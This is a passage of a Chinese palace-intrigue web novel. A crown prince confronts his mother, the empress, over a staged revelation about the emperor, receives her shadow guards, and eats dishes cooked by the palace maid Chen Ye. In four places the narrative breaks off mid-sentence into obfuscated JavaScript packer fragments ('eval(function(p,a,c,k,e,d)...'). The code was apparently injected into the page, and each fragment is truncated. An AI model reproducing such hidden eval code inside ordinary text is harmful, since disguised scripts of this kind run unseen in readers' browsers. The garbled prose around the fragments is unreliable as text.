白肃清叹了一口气，川儿想的还是太简单了，灾民的问题哪是一点银钱就能解决的。而他作为储君，若是吃穿用度不合规格，被那些虎视眈眈的邻国探子传回国，误以为大庸连储君的吃食都供不起，边境又要不安定了。 到时候大庸内是天灾，外是人祸，那便是内外临危，局势更加复杂。 他开解道，“川儿，你这样做是好心，这一点错都没有。可你不要忘了，你还是这大庸的储君。你有没有想过宫里宫外多少眼睛都盯着你，若是你的吃穿用度不合规格，被敌国的探子知晓了，又会造成什么样的后果？” “若你真不想浪费，那每日点的三个菜就算了，但你作为储君的规格少不得。”白肃清这样说着，却在想该如何才能把陈叶的几个菜塞进李景川膳食的规格中。这些时日川儿用饭多了不少，人也壮实了，若是少了陈叶那几个菜，再加上现在越来越重的武课，估计又要瘦了。膳房准备的膳食整日一成不变，要想吃样式新鲜的还是得用银钱买，仔细算起来比让陈叶做还要贵。 但用银钱买川儿定是不愿的，既如此那就只能从陈叶那边下手了。可他又不能直接让陈叶加入到川儿吃食的制作中，她只是宫女，这样做势必给她带来非议与不必要的目光。 那就把那位李掌膳调进去好了，她做了这么久的掌膳，也该往上升一升了。这样再让绿意去提点一番，陈叶的菜便能顺理成章的进到川儿的膳食中。 李景川不知道短短几瞬，白肃清就为他未来的膳食做好了打算，他只觉得自己这个储君做得实在无用。 灾民们颠沛流离，日日饥饿，而他每日吃好喝好，一点力都尽不到。享万民之供养，却做不出任何有益于万民之事，他于心有愧。 “我明白了小舅舅，那就按平时的份例来，不要多一分。”李景川拭去泪水，他已经有了自己的目标，他决心不做像父皇一样的昏君，他要做能让百姓安居乐业的明君，“我们用膳吧。” 他今日吃得格外慢，似是在享受最后的美味。 夜里，白肃清不好去见白肃云，宫规就是如此，即使是亲姐弟也得避嫌。 第二日乃是休沐，白肃清与李景川二人都不用去学堂。 李景川依旧早起，晨读练武。他本想叫上小舅舅一起，结果到了寝殿没有看到白肃清，一问才知，小舅舅一早便被母后唤去了凤仪宫。 什么要紧事？急到这样早母后就寻小舅舅过去？ 他心中迷惑，抬脚往凤仪宫去。 凤仪宫，紧闭的大殿内。 白肃清将昨日的情形叙述一番，讲到李景川的发问与痛哭时，殿中人亦是十分难过。 白肃云掐着手心，问道，“川儿可还有什么异样？” “目前没有。”白肃清摇摇头。 “那就好，阿清，你多陪陪川儿，终归还是我这个当母后的对不住他。” 殿外，李景川听到这话时，浑身一震，随后推门而进，他倒要问问母后，到底是哪里对不住他了！ 母后对他的细心抚育之情，他不信都是假的！可今日母后对小舅舅说的这番话，话里话外都在告诉他，昨日他撞见父皇那般模样，是有母后的手笔在的。甚至，他最信任的小舅舅，都是母后的帮凶！ 李景川进门那刻，整个凤仪殿都安静了，静得连李景川的脚步声都清晰万分。白肃清与白肃云震惊地看着来人，他们不知道李景川听到了多少，也不知道李景川进了是为了什么。 “儿臣拜见母后。”李景川跪地，疏离一磕，全然没有往日的亲昵。 “川儿…你先起来…”白肃云张了张嘴，本想说些什么，却又不知从何说起。若只道一切都是为了他好，这样的说法说服力未免太弱了些。 “母后，你先告诉儿臣，昨日之事你是否插手了？”李景川仍跪着，只抬起头，眼神没有任何回避，直直望向凤座上的白肃云。 白肃云眼底的愧疚与心疼慢得要溢出来了，只一眼，李景川就能猜出昨日他看见父皇那般昏君模样绝非偶然。可他不明白，母后为何要这样做，为何要让他看见父皇那样不堪的一面。 难道真如父皇所说，白家居心不良？妄图令帝子之间离心离德，好借此染指帝位？ 他不相信母后还有外祖一家真的会做这样的事，他今日定要问个明白！ “是。”白肃云哑声道，“但川儿你起来，让母后与你说清楚母后这般做的缘由？” 李景川依旧不起，身为人子，这般逼问长辈已是不敬，怎敢起身？ 可他推门而进就是为了搞清楚母后这么做的真相，因而道，“好，母后请说。” 白肃云明白，自己不说清楚，李景川是不会起的，哑着声音，“川儿，你昨日看见你父皇行那样不堪之事，却有母后的安排。但你父皇行不堪之事这件事，母后可以发誓，绝没有一丝一毫的插手。母后这么做，只是希望你在爱重你父皇的同时，对他亦有所保留。母后知道你觉得很荒谬，为何亲父子之间还要所有提防，可这是天家，是皇权重于一切的天家。你父皇他是天子，任何人、任何事在与他的皇位产生冲突时，都会被他抛弃。” “川儿，你现在还小，可能还不明白，但母后希望你以后与你父皇相处时一定要有所保留，母后只有你了。” “母后这是何言，您还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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不知怎的，白肃清在他身上看到了上位者的姿态，他既欣慰又心疼，川儿终于长大了，可长大的代价却是痛苦和失去信任他人的能力。 他不曾回避李景川的眼神，一如往常，“不管你信不信我，我都不会伤害你。” 李景川没有做出任何回应，只道，“走了。” 今日无事，白肃云本想留膳，但李景川借许太傅留下的课业还未完成，需尽早回去，便拒绝了。 “娘娘……”红霞很是担忧，怎么连饭也不吃了呢？ 白肃云叹了口气，“罢了，再让他缓一缓吧，待他想明白了就好了。” 李景川走了，白肃清也不好留，便匆匆与白肃云说了几句，“阿姐，川儿为了灾民想缩减自己的吃穿用度，川儿吃得本就不多，再缩减吃得就更少了。尚食局司膳司李掌膳的徒弟陈叶做的吃食颇得川儿的心，不过她资历还太浅，求阿姐升这位李掌膳的职，让她与其徒弟也负责一部分川儿的吃食。这样川儿在合规的吃穿用度下也能吃上自己喜欢的菜。” “陈叶？这名字甚是耳熟。”白肃云在脑海中搜寻着这个名字，良久，想起来了，她对她的印象还不错，便道，“我知晓了，若是人没有问题，我会考虑的。” “阿姐，那我就告退了。” “去吧，这两日你也累了，好好休息。川儿那边，你多留意。” 22. 一等宫女 白肃云找人查清楚陈叶与李掌膳的底细，确认两人的身份没有任何问题，便让拟旨让王尚宫前去尚食局宣读。 “皇后娘娘谕示：尚食局女官李氏善云，秉性端良，入宫以来恪尽职守，勤勉恭谨。掌膳房庶务，夙夜匪懈，其心昭昭，日月可鉴。今擢升李氏为尚食局正七品典膳，望尔勤勉不缀，秉贞静以持身，效忠诚以奉上。钦哉！” “臣领旨！谢皇后娘娘恩典。臣定当尽心竭力，不负重托！”李典膳恭敬地俯身叩首，双手接过懿旨。抬起头，让王尚宫为其加冠。 “行了，本官还有要事在身，就不多留了。李典膳，日后你可就要多负责几个送往东宫的菜了。”王尚宫直接给升职后的李典膳安排了日后工作。 李典膳很是惊讶，她之前为救陈叶向尚宫投过诚，但尚宫多日未曾寻她，她一直以为尚宫已然将她抛之脑后。怎么突然就升了职，让她直接负责太子的吃食了呢？这差事可不好当，但旨意已宣，她不行也得行，“是，谢皇后娘娘与尚宫垂爱，臣定当不辱使命，服侍好太子殿下。” “服侍主子是必然的，不过也要注意不要过度劳累。周围有能用的人便尽早用，培养起来，你也才能轻松些不是？”王尚宫扶起李典膳，再度叮嘱。 “是，属下明白了。” 这话明明是上峰对下属的关心，可李典膳隐隐觉得王尚宫是在暗示她什么，她周围能用的人王尚宫都是知道的，便是陈叶与银叶。这是让她好好培养陈叶银叶的意思吗？可这二人不用尚宫提醒她都会好好培养，以待来日。还是说两人在她不知道的地方与王尚宫扯上了什么关系？ 宫里局势纷乱，现在看来是皇后娘娘统管后宫，可皇上近年来对娘娘的态度越发不明，淑妃德妃等人平分圣宠。若是君恩不再，即使是皇后也难掌管整个后宫。因此她宁愿只做个小小的掌膳，也不愿往上走，越往上走，面对的危机越多。若不是为救陈叶，她也不会向王尚宫投诚。 若王尚宫执意要把她的陈叶银叶也牵扯进来，她不愿也不肯。这两人，她得找个时机提点一番，不要与王尚宫走得过近，否则即便是未曾站队，也会被默认为是王尚宫一派的人。 王尚宫走后，众人纷纷涌上来道喜，“恭喜李典膳。” “同喜同喜，多谢各位。”李典膳笑着回应众人，与她们客套说趣。 待到人群散去，只留陈叶与银叶。 两人一同行上大礼，“恭喜姑姑，贺喜姑姑。” “好了好了，快快起来，还缺你们这两句恭喜不成？”李姑姑亲手将二人扶起，把两人按到凳子上。 “如今我为典膳，按展照规矩，身边当有两名一等宫女。你们二人是我看着长大的，我知你们想参加明年的女官擢选，但总归还有些时日，便留在我身边先做这一等宫女。若是考上了，便穿上官服，若是落选便还是我身边的一等宫女。你们看这样可行？” 李姑姑这是把前路与后路都为她与银叶打算好了，想得这样周全，真是费尽了心力。陈叶拉着银叶一同跪下，以示感谢，“姑姑考虑周到，这般为我二人着想，自是行得不能再行了，我二人在此谢过姑姑。” 见二人又跪下，李姑姑赶忙搀起来，无奈道，“又跪，好好坐着，我有话要问你们。” 陈叶乖乖坐好，双手交叠置于腿上，乖巧地看着李姑姑，“姑姑请问，我定然知无不言，言无不尽。” 李姑姑正色，“你二人老实告诉我，你们与王尚宫或是皇后娘娘那边可有什么瓜葛？” 谈及皇后娘娘，陈叶就想到了小凳子，他在小国舅身边侍候着，与自己走得颇近。姑姑的神色严肃，看样子是遇到了什么难办的事，她担忧道，“姑姑，可是发生什么事了吗？” 陈叶这么一问，李姑姑便明了，问道，“你与那边的人有过接触？” 没想到还真有事，陈叶老实交代，“我与小国舅身边的小凳子有些来往，许是我做的菜合了国舅爷的胃口，小凳子便常拿着银子让我为国舅爷做菜，我便做了。” 原来是国舅爷，这小国舅与太子关系亲密，自进宫便一直住在东宫，说是同吃同住也不为过。陈叶为小国舅做菜，定是有幸被太子爷尝到了。估计是太子也觉得陈叶的菜不错，但又不好直接将其从二等宫女提上去，这才有了自己的升职与王尚宫今日这番提点。没想到，自己这官升的，竟是沾了陈叶的光。 不过她没侍奉过太子与国舅，哪里知道这二人的口味呢？日后的餐食，还是得多让陈叶上手制作，她也得多向陈叶取经。 这无关什么站不站队的大事，倒也还好，李姑姑松了口气，还是惯性一问，“就只是这样？再没别的了吧？” 陈叶思索片刻，还是选择和盘托出，“还有一事，我说了姑姑莫生气。因小凳子跟着国舅爷身边，常伴其在学堂读书，也略通诗书，有时我便会请他为我解答一二。” 李姑姑本是随口一问，没想到又问出来一件事，不过比不上在宫中站队这样稍有不慎便会掉脑袋的大事，便也不过多追究，只叮嘱道，“你好学是好事，我懂的东西也确实有限，不能耽误了你。不过你要记住，莫要留下什么把柄，尤其是书信一类，最是忌讳。” “我明白了，多谢姑姑。那姑姑，我可是给你惹了什么麻烦？”陈叶很是疑惑为何姑姑今日会问起这事。 “那倒没有，这算不上麻烦，仔细说起来还是托了你的福，姑姑才能坐上这典膳的位置。不过陈叶，你答应姑姑，在宫里无论是当宫女也好，做女官也罢，只管做好自己的事就行，不要想着寻个靠山走捷径。靠山山会倒，靠水水会流，唯有自己才是最坚实的依靠。还有什么捷径，这世上哪有捷径给咱们这些人走的，那都是要付出代价的，你可记住了？” 陈叶郑重点头，“姑姑今日这话我定然铭记于心，一刻不忘。” “包括银叶，这话你也给我记在心里。姑姑也是怕你二人误入歧途，才多叮嘱几句。” 李典膳升职， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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银叶只提到彩叶，陈叶醋了，趴在彩叶肩上，故作啜泣，“呜呜呜，彩叶啊，这日子还是得你们两人过，我是插不进去了。你看，银叶心里压根就没有我，连提都不带提的。” 彩叶顺势拍着陈叶的背，细细安慰，“不哭不哭，我硬掰也给你掰个口子，让你塞进来。” 彩叶一句便成功让陈叶破功，抬起头，拍了一下彩叶，笑道，“这都是什么话啊！” “安慰你呢。”彩叶一把把陈叶的头又按回肩上，拍背安抚。 本来银叶还有些担心，想着该怎么安慰陈叶，可一看陈叶与彩叶这番动作，立马察觉出不对劲，“哎呀，你们两个！这是耍我呢！” 她气急，手直接冲着陈叶腰间的痒痒肉去。 “哎呀，我错了！哈哈哈，我错了！银叶姐姐饶了我吧。”陈叶被挠得直求饶。 “哼哼！知道错了吧！”银叶张牙舞爪地问，仿佛陈叶不知错她就要再来一次。 “错了错了，我们银叶长大了，再也不敢打趣我们银叶了。”陈叶看着银叶的手，极有眼色的认错，给银叶带高帽。 “我哪是那样随便抛弃姐妹的人？有我银叶一口吃的，就有你们两个一口吃的！”银叶这次把话补全，“可不许说我坏话！” 23. 这是… 银叶那傲娇的模样，像个打了胜仗的兔子。 “我哪敢啊，银叶姐姐现在可是我未来的衣食父母，我以后还得靠咱们银叶姐姐养呢～”陈叶连连示弱，一口一个银叶姐姐，把银叶的脸都叫红了。 “哎呀！你又打趣我！”银叶嘟着嘴，把头往被子里一塞，“不和你玩了，我要睡觉了！” “真睡啦？那好吧，我和彩叶洗漱去喽。”陈叶一边拉着彩叶起身，眼神一边偷瞄，果然银叶藏不住了，跟着上来，拉住两人，“等等我，等等我！我也去！” 东宫，李景川将自己关在殿内，一人不见，一饭不食。 跟在他身边的小太监全顺别无他法，他本可以找到皇后娘娘跟前，可殿下关门之前已经说过不许告诉皇后娘娘，便只能来求小国舅了，“殿下一回来便将自己的锁在殿内，任谁也不让进，现下午膳晚膳都没用，这样下去怕是饿坏了。还请国舅爷劝劝殿下，让殿下吃些吧。” 好在往日殿下与小国舅关系最好，最听小国舅的话。小国舅也一向将殿下放在心上，他现在只盼着小国舅能有办法让殿下吃上两口，哪怕一口也好。 “午膳晚膳都没用？”白肃清一听，那还了得，立马起身，对着跪在地上的全顺道，“别跪着了，跟上。” 全顺爬起来，“是！” 天色已暗，全顺提着宫灯，小跑在白肃清跟前。他不过十岁，人矮腿短，跟不上白肃清的步子。 全顺是皇后娘娘特地挑给李景川的贴身太监，与他年纪相仿，既负责服侍他，也负责陪他解闷，自他六岁时便一直跟在他身边。 白肃清走了一段才发现全顺一直小跑着的，按住全顺的肩膀，“你在后头慢慢跟过来。小凳子！上前头来提灯照路！” 小凳子提着灯快步上前，“是。” 全顺退后，知道白肃清此举是在体恤他，行礼道谢，“谢国舅爷。” 来到李景川殿前，白肃清竟有一丝心慌，刚刚急着赶路没有心思想，现在停了下来站在门前，又有些怕李景川不愿意见他。思索片刻，还是定下心来，不论川儿还认不认他这个舅舅，他都是他舅舅，都应当为他的身体着想，“川儿，开门！” “我是小舅……” “吱呀”白肃清话还没说完门便开了。 门后，是李景川。 见到他，白肃清激动上前，双手拉住他的臂膀，“川儿，全顺说你快一天没吃饭了，你想吃什么，小舅舅去给你寻。” “小舅舅？你究竟是以吾舅舅的身份来关心吾，还是以母后弟弟的身份来关心吾，给吾寻吃食？”李景川淡漠中带着怀疑。 “自是以你舅舅的身份。”白肃清不假思索，脱口而出。 “是吗？可是不是母后让你多看着我些，你才来的吗？”李景川仰着头，神色冷淡，毫不回避，看着白肃清。 明明身高上处于优势，白肃清却感到一股来自上位者的威压。 这感觉…怎么和做错了事时阿姐看他的感觉一模一样？ 他眼眶泛起热意，又恐又喜，恐在害怕川儿往后都不再与他交心，怕川儿日后身边无人陪伴，喜在他终于长成了帝王该有的模样，阿姐、父亲、大哥和朝臣们的培养没有白费。 既然李景川为上位者，作为臣子的白肃清也应当找到自己的位置，“皇后娘娘固然让臣多照顾殿下，但臣此番前来并未与皇后娘娘有任何沟通，臣是真心关心殿下的身体，还望殿下为自己的身体考虑。” 李景川不再说话，静静地看着跪趴在地上的白肃清，脸侧的汗珠滑落，看得出确实是急匆匆赶来的。他腰背挺直，可姿态却低到尘埃里。这便是做帝王的感觉吗？可以藐视一切，任何人都会因自己的喜怒哀乐而惊喜或是慌张。 白肃清以臣自居，没有李景川的叫起是不能起的。腰已经酸了，膝盖也疼，从小到大，他还没有这样跪过一个人。但这个人是川儿，他愿意这样跪下去，他愿意成为李景川走上帝王路的第一块磨刀石。 僵持之际，全顺赶了回来，“见过殿下。” “全顺，你也是母后的人，对吗？”李景川调转矛头，直勾勾地盯着跪地的全顺，眉眼疏冷。 全顺惊起一身冷汗，抬起头，望着李景川，“殿下，奴才确实是皇后娘娘挑选给您的贴身太监。可在来到殿下身边的那一刻，奴才心里就只有您这一个主子，奴才的名还是您赐的啊！”全顺字字恳切，说完重重磕下一头，他不知殿下与皇后娘娘到底起了什么冲突，他只希望殿下不要抛弃他。 他被家人卖进宫的那一刻便是孤身一人，直到来到殿下身边，才有了依靠。殿下会分他吃食，教他认字，会为了不让他受罚而熬夜背书。殿下要怎么罚他都行，但要赶他走的话，他死也不愿。 李景川看着匍匐在地的两人，眼里满是挣扎，他身边的人，全与母后有关。可母后爱他之心，从未虚过，小舅舅与全顺也从未害过他。他真正讨厌的不是他们对他的关心，而是这种时时被人监视、被人安排的感觉。 良久，李景川闭上眼睛，深吸一口气，“小舅舅，我饿了，你留下来陪我一起用膳吧。” “全顺，传晚膳。” “好嘞。”全顺雀跃出门，传膳去了。 两人这顿晚膳，用得格外安静。 直到白肃清告退，李景川才叫住他，“小舅舅，我长大了，以后能不能不要什么事都瞒着我。” 李景川还愿叫他小舅舅，白肃清自是高兴，他差点以为他们的舅甥之情就要断送在今日了，郑重点头，“好，日后有事定然与你商量。” 翌日。 陈叶第一次跟着李典膳做主子们的膳食，这是一个独立的空间，锅碗瓢盆等等全都换上新的，都是上好的厨具，刀也趁手不少，看得她是既激动又兴奋，破天荒主动问起李典膳今日的活，“姑姑，咱们负责什么菜式？” “我问过司膳了，她说尚宫让我们自己安排，在午膳时呈上三个菜便可。”李典膳自己都还需要陈叶的思路呢，哪还能给陈叶说出个所以然来。 “你可知，我们做的菜是呈给谁？” “东宫太子殿下啊…东宫！”陈叶恍然大悟，难怪姑姑昨日说她能升职还有她一份功劳，原来是这样。小凳子将吃食带给小国舅，太子又在小国舅那尝到了自己做的菜，这才有了姑姑与自己的升职。小凳子无形之中还帮了她挺多忙的，有机会一定要好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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忙忙碌碌将山药去皮，磨成山药泥，再猪肉切块剁碎，加入葱姜蒜水去腥，加入一颗蛋清、山药泥还有少许淀粉搅打上劲。便可以挤成一个个的小丸子，进滚水中汆烫。浮沫要及时捞出，不能等它附在丸子上，不然丸子便会带着腥臊味。待浮沫捞完，再另用一个漏勺把丸子捞出。拿出小炉子，鸡汤做底，白菜作配，上面再放上丸子，便可以开始小火煨煮了。 趁着煨煮的间隙，把鲈鱼开膛破肚，用葱姜蒜腌制一刻钟，放上锅蒸。 剩下的猪肉切薄片，大火如果翻炒，煸出油香，再加入盐、豆瓣酱等上色调味，出锅时配上几段青蒜苗，这道菜就大功告成了。 此时需要将葱姜切丝，洗净放在蒸好的鱼身上，用热油一浇，激发香味，再淋上调好味的蒸鱼豉油。 一个白菜打底的山药丸子汤，一个清蒸鲈鱼，以及一个干煸回锅肉便都做好了。 “姑姑，请看！”陈叶把菜摆好，让李典膳过目。 “好极了，陈叶你当真是有天赋的！”李典膳看着陈叶行云流水，动作麻利地将这几道菜做好，忍不住称赞。 “不过，量大了。尤其是这个汤，分量得减半，换个碗装，这样看着才与其他菜一样。这个鱼不能分，寓意不好，这个回锅肉，减三分之一吧。”主子们膳食的分量都是有统一规定的，不能多也不能少，这是铁律，为的就是不让人揣测主子们喜好。 陈叶按照李典膳的吩咐，把菜又调整了一番，才呈给东宫来领膳食的太监。 昨夜之后，一切又如同往常，李景川与白肃清同吃同住，一同读书，一同笑闹。 午膳时，在合规格的吃食内，李景川尝到了熟悉的味道，他不可置信的看向白肃清，“这是…” 24. 心不在焉 白肃清点点头，肯定道，“就是她做的，你多吃些，以后日日都能吃到，还不用再费钱点菜了。” “她不过一个二等宫女，怎能把菜呈到这来？” 白肃清故作神秘，嘴角一咧，“你猜。” “你不说，我自去问母后！” 小舅舅真是幼稚，还猜猜猜，拿他当孩童哄呢！宫中所有事母后都了如指掌，陈叶能把菜呈上来这事肯定也与母后有关，他只要问一问母后就好了。 白肃清要的就是他去问白肃云，从昨日到今日，两人怎么说也想的差不多了，就差一个借口见面相谈。 至于两人能不能谈成，谈成什么样，那他就没办法管了。 为了两人的母子情，他真的已经尽力了，连每日与陈叶见一面的机会都牺牲了。 他可就靠这每日去膳房取菜这个时机看陈叶一眼，但现在陈叶做的菜直接由专人去取，除非他混进取菜太监的队伍中，或许能在人群中看上一眼。但这显然不现实，太监们取菜时他都还在听课呢，根本走不开。 他倒是想借着小国舅要吃的名头拿着银子去点菜，但他没钱啊！之前的钱都是从李景川那诓来的。进了宫吃穿住行都有份例和安排，根本不需要操心。至于打点下人，阿姐因为怕他有了银子就在宫里赌起来，所以从不把银子放到他手上，下人们每个月只要伺候得不出什么问题，就可以直接去阿姐那领赏钱。因而就是他不打点，宫人们也都尽心。 一分钱难倒英雄汉，他白肃清今日还真被这银子给难住了。 贫穷、束手无策，这样的感觉很是不好，白肃清叹了一口气，撑着头，食不下咽。 不！还是得吃！往后只有在与川儿共同用膳时才能吃到陈叶做的菜了，川儿要是哪日不愿与他一起用膳，他可就是真的一点都吃不着了。 思及此，白肃清振作起来，拿起筷子，大口大口开始用膳。 李景川看着自己的小舅舅面色一瞬间由忧虑到食欲大增，顿感不妙，看着已经少了大半的菜，立马拿起筷子，该死！慢了一步！ 用膳时的暗自较劲一如往常，让两人中那堵无形的墙应声破裂。 已经临近晚膳的准备时间了，小凳子依旧没有来，昨日他便没有出现，今日都这个时候了，他还没有来。 他不会…出了什么事吧，陈叶惴惴不安地乱想。自他们约定好点菜一事，已经过去了一两个月，这期间小凳子从未失约，更没有过一整日都不曾出现的状况，陈叶的担心不无道理。 “陈叶，你怎么了？可是今日当差多有不适？”彩叶拍了拍陈叶的肩，见她忙完午膳就一直坐立不安，还以为她是在担心今日做的吃食会不会不和东宫那位的胃口。 “不用担心，你做的吃食平日里就能被久居东宫的国舅爷看上，日日让小凳子来膳房点菜。甥舅之间口味相差不会太大的，既然国舅爷爱吃，想必太子也爱吃。” 捕捉到小凳子三个字，陈叶忧郁地叹了口气，喃喃自语，“小凳子，他已经两天没来膳房了。” 看着站得直直的，望着尚食局门外有些出神的陈叶，彩叶似是察觉到什么，“陈叶…你…” “嗯？什么？”陈叶回过头看着彩叶，认真听她想说什么。 彩叶欲言又止，她怕自己想多了，又怕自己没想多。 关于小凳子，看样子陈叶自己都还没想明白，她还是不要随意乱说。 有些东西，不点破还好，一点破可能就面临无法收场的境地。 彩叶摇摇头，“没什么，就是我想吃你做的糖醋小排了。” “好呀，那我去备菜，晚膳你就能吃上。” “嗯！”彩叶面上不显，心底却在盘算陈叶对小凳子的心思。她得找个机会，试探一番。若真如她想的那般，她定要劝一劝。 今日的晚膳，白肃清是一个人用的。 李景川午后便去了凤仪宫到现在也还没回来，想来两人的交谈不太顺畅。 已经很久没有一个人用膳了，怪冷清的。 … 如果陈叶在就好了，不知道她现在在做什么，想来正在收拾膳房，准备回屋洗漱休息了。 … 好想看她一眼，不为别的，就是看她一眼。 就看一眼。 他这么想着，也这么做了。 换上夜行衣，脚尖一点，往尚食局方向去了。 凤仪宫，李景川跪地不起，白肃云的眼中是压制不住的担忧与怒火。 前面两人还相谈甚欢，颇有种心结全部解开的趋势。可临近交谈结束，李景川说起希望白肃云可以撤走他身边的暗卫不要监视他时，白肃云不容置疑地拒绝了，两人的交谈便陷入僵局。 “母后，儿臣已经长大了，还请母后撤回守在儿臣身边的暗卫，不要再日日关注儿臣了。”李景川的话很是委婉，但此话一出，整个大殿还是陷入了一片寂静。 白肃云也没想到川儿最后竟会提出这个要求，她也没想到川儿竟会将她对他的保护，误解为监视。 沉默片刻，白肃云带着担忧，将自己一腔爱子之心诉说出来，“川儿，你知不知道宫里宫外多少人都盯着你的位置？母后不是在监视你，是在保护你啊！” 前面李景川提出的几个要求白肃云都答应了，唯独这个，关系到李景川的安全，她不能答应。 “母后，儿臣不需要带着监视的保护！”李景川匍匐在地，姿态很低，可态度却很是强硬。 母后对他的爱护之心他都明白，可他的一举一动都被人监视，被母后了解得一清二楚，这种感觉他真的很不喜欢。他需要有自己单独的、一个人的空间。 白肃云显然被李景川的话气着了，想说出什么话，却又拼命忍了下去，唇瓣不停地发抖。 最终还是闭上了眼，深吸几口气，试图平复自己的心情。然而握紧的拳头还是透露了她内心的不平静，指甲扎进手心，痛感让她清醒过来。 白肃云突然意识到，她的川儿，那个只会跟在身后叫母后的孩童，是真的长大了，他已经有自己的思想并且正在按照自己的想法做。 这暗卫她今日不撤，将来也总有一天要撤。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“暗卫队不过百人，但各各都是百里挑一的能手，若往后还要添人，便看你的能耐了。无影跟在母后身边多年，是信得过的人，往后你有什么暗处不方便动手的事，都可以交给他……”白肃云细细交代着一切事宜，像是一只将老的雌鹰，把自己毕生的经验都教给雏鹰，以待来日雏鹰的展翅高飞。 回到东宫，李景川看着手中的令牌，一面是一个白字，另一面则是云纹。 “无影。” “属下在。” “暗卫队中共有多少人？” “一共一百零一人，潜散在宫内外各处。” “分十个人去母后身边，若母后出事，那十个人也不用留了。” “是。” “白家…可还有其他暗卫队？” “有。” 李景川了然，若他猜的没错，大舅舅、小舅舅和外祖手里可能还各有一支暗卫队，“把我这支暗卫队所有人的位置和在做的事全都与我说一遍。” “是。” …… 白肃清紧赶慢赶，到尚食局时，陈叶已然交班离开。 来晚一步！白肃清很是懊恼，早知道动作就再快一些了！不对！当时想到想看她一眼时，就该动身！ 懊恼之际，还是不得不原路返回。 他总不能直接跑到陈叶屋里去看她，若是个男子也就罢了，看个几眼又少不了一块肉。 可陈叶是个女子，这样的事不能做，否则也太不尊重她了。 何况说到底，想看她一眼是自己的私欲，为了一己私欲就要跑到她屋边去偷看她，这置她的清白脸面于何地？即使不会有人知道，他也做不出这样的事。 25. 没钱没人没爹疼 没有看到心心念念的人，白肃清极为失落，回了东宫。 一开殿门，嚯！一大一小、一坐一站两个人赫然出现在他殿中。 坐着的小人自然就是李景川，而身边站着的那人，与自己同一身打扮，都穿着夜行衣，看样子是川儿的暗卫，看着有些眼熟。 暗卫这样装扮并不奇怪，但白肃清穿成这样就很奇怪了，何况他也不是为了干正事而穿成这样，他摸了摸鼻子突然有点心虚，“川儿，你怎么在这？” “来找小舅舅讲故事给我听呀。”李景川一脸天真无邪，他来白肃清屋里还真就是来听他讲宫外的事的，只不过来了以后发现屋里没人罢了。 “听故事…需要他在场吗？”白肃清指了指李景川身后的黑衣人，有些拘谨。 不对！这是他的寝殿！他到底在拘谨什么啊！ 还有川儿，怎么现在给他一种不好惹的感觉？ “那倒不用，无影，你退下吧。”李景川好似才察觉无影的存在，让无影出去了。 无影，这个名字好生熟悉！ ！难怪刚刚觉得眼熟！他不是阿姐身边暗卫吗？怎么跟在川儿身边？ 李景川似是看出了白肃清的疑惑，解释道，“母后将她的暗卫队给了我。” “什么！”白肃清不敢置信的声音响彻寝殿，他都还没有自己的暗卫队，川儿竟然有了！ 比他小那么多的川儿都有自己的暗卫队了，他还没有！！！ 想当初他可是据理力争，都没能争来一个暗卫，现在川儿竟然有一队暗卫！ 那他那几年的付出到底算什么？ 白家的暗卫队是在大哥白肃山的组织下逐步建立起来的。 白家虽为大族，白经又任首辅，按理来讲作为长子的白肃山不应缺钱用。 但培养暗卫是个烧钱又费劲的活，家中毕竟还是白经做主，他支取过多的银钱难免会引起父亲的怀疑。可白家如日中天，白经又过于耿直，暗卫培养势不容缓。 于是他便将注意打到了整日游手好闲的白肃清身上，先让他出入赌场赚一波大的，再把自己手下的铺子全交给他打理，有盈利便一九分账，有亏损白肃清全担。 虽然白肃山的提议很黑，黑到没边，但白肃清还是答应了。无他，实在是穷到没边了。 他时常出入赌场的事不知被谁捅到了白经那去，白经一气之下断了他所有的月钱，并勒令白肃云和白肃山谁都不许给钱他用。他堂堂小国舅，与同伴出去玩连半分银钱都拿不出来，说出去都要招人笑话。为了钱，白肃清简直是鞠躬尽瘁，花样百出。 分账比例低也不要紧，只要他能多从别人口袋里掏出钱来，比例再低那也是一笔巨款！ 好在白肃清也算有经商头脑，先是在首饰铺子搞出什么专属服务制，在店中花费达到一定金额便可以根据自己的喜好，定制专属首饰，只此一件，绝无重复。吸引了不少贵妇来店消费，白肃清也因此赚了不少。 见此招管用，他又把这种经营方式在其他的铺子中铺开。就这样越赚越多，然而当他抱着自己的小金库美滋滋时，大哥白肃山又敲响了他的门。 此番前来，是让白肃清为他寻找适合培养为暗卫的人，这时白肃清才明白大哥为何要那样多的钱。暗卫乃亲信，还是得从小养，才更加放心。 就这样，白肃清顶着京城第一纨绔的名号游荡京城，用自己的小金库救助那些流离失所的孩童，将他们抚养长大，请先生教他们认字读书、请师傅教他们练武，让他们有一技之长。待到十五六岁便由他们自己选择，是留在白家效力还是自寻出路。 至于为什么用的是白素清的小金库而不是白肃山的钱，这就要谈到另一桩买卖了。 白肃山给白肃清打欠条，这钱算他借的，借五年，每月给他五厘的利钱，五年后一次结清。这样算下来光利钱就能拿不少，在白肃山的一再强调引诱下，白肃清心动了，便答应了自家大哥的欠条。 数年过去，白家的暗卫队逐渐成型。 白肃清也十五岁了，不算小了，见姐姐和哥哥身边都有暗卫队，便也想为自己争上一争。他为了白家的暗卫队付出了那样多，没有功劳也有苦劳，怎么说也该有自己的暗卫队了。 有自己的暗卫队，就算不说出去，光想想也让人格外兴奋。哪知暗卫队没争到，反手就被大哥送进宫中，被阿姐拘着念书。 努力半生，现在钱钱没有，人人没有，爹不疼没娘爱，简直就是小苦瓜一个。知道李景川有了自己的暗卫队后，整个人更苦了。 如行尸走肉般走到床边躺上去，萎靡不振。 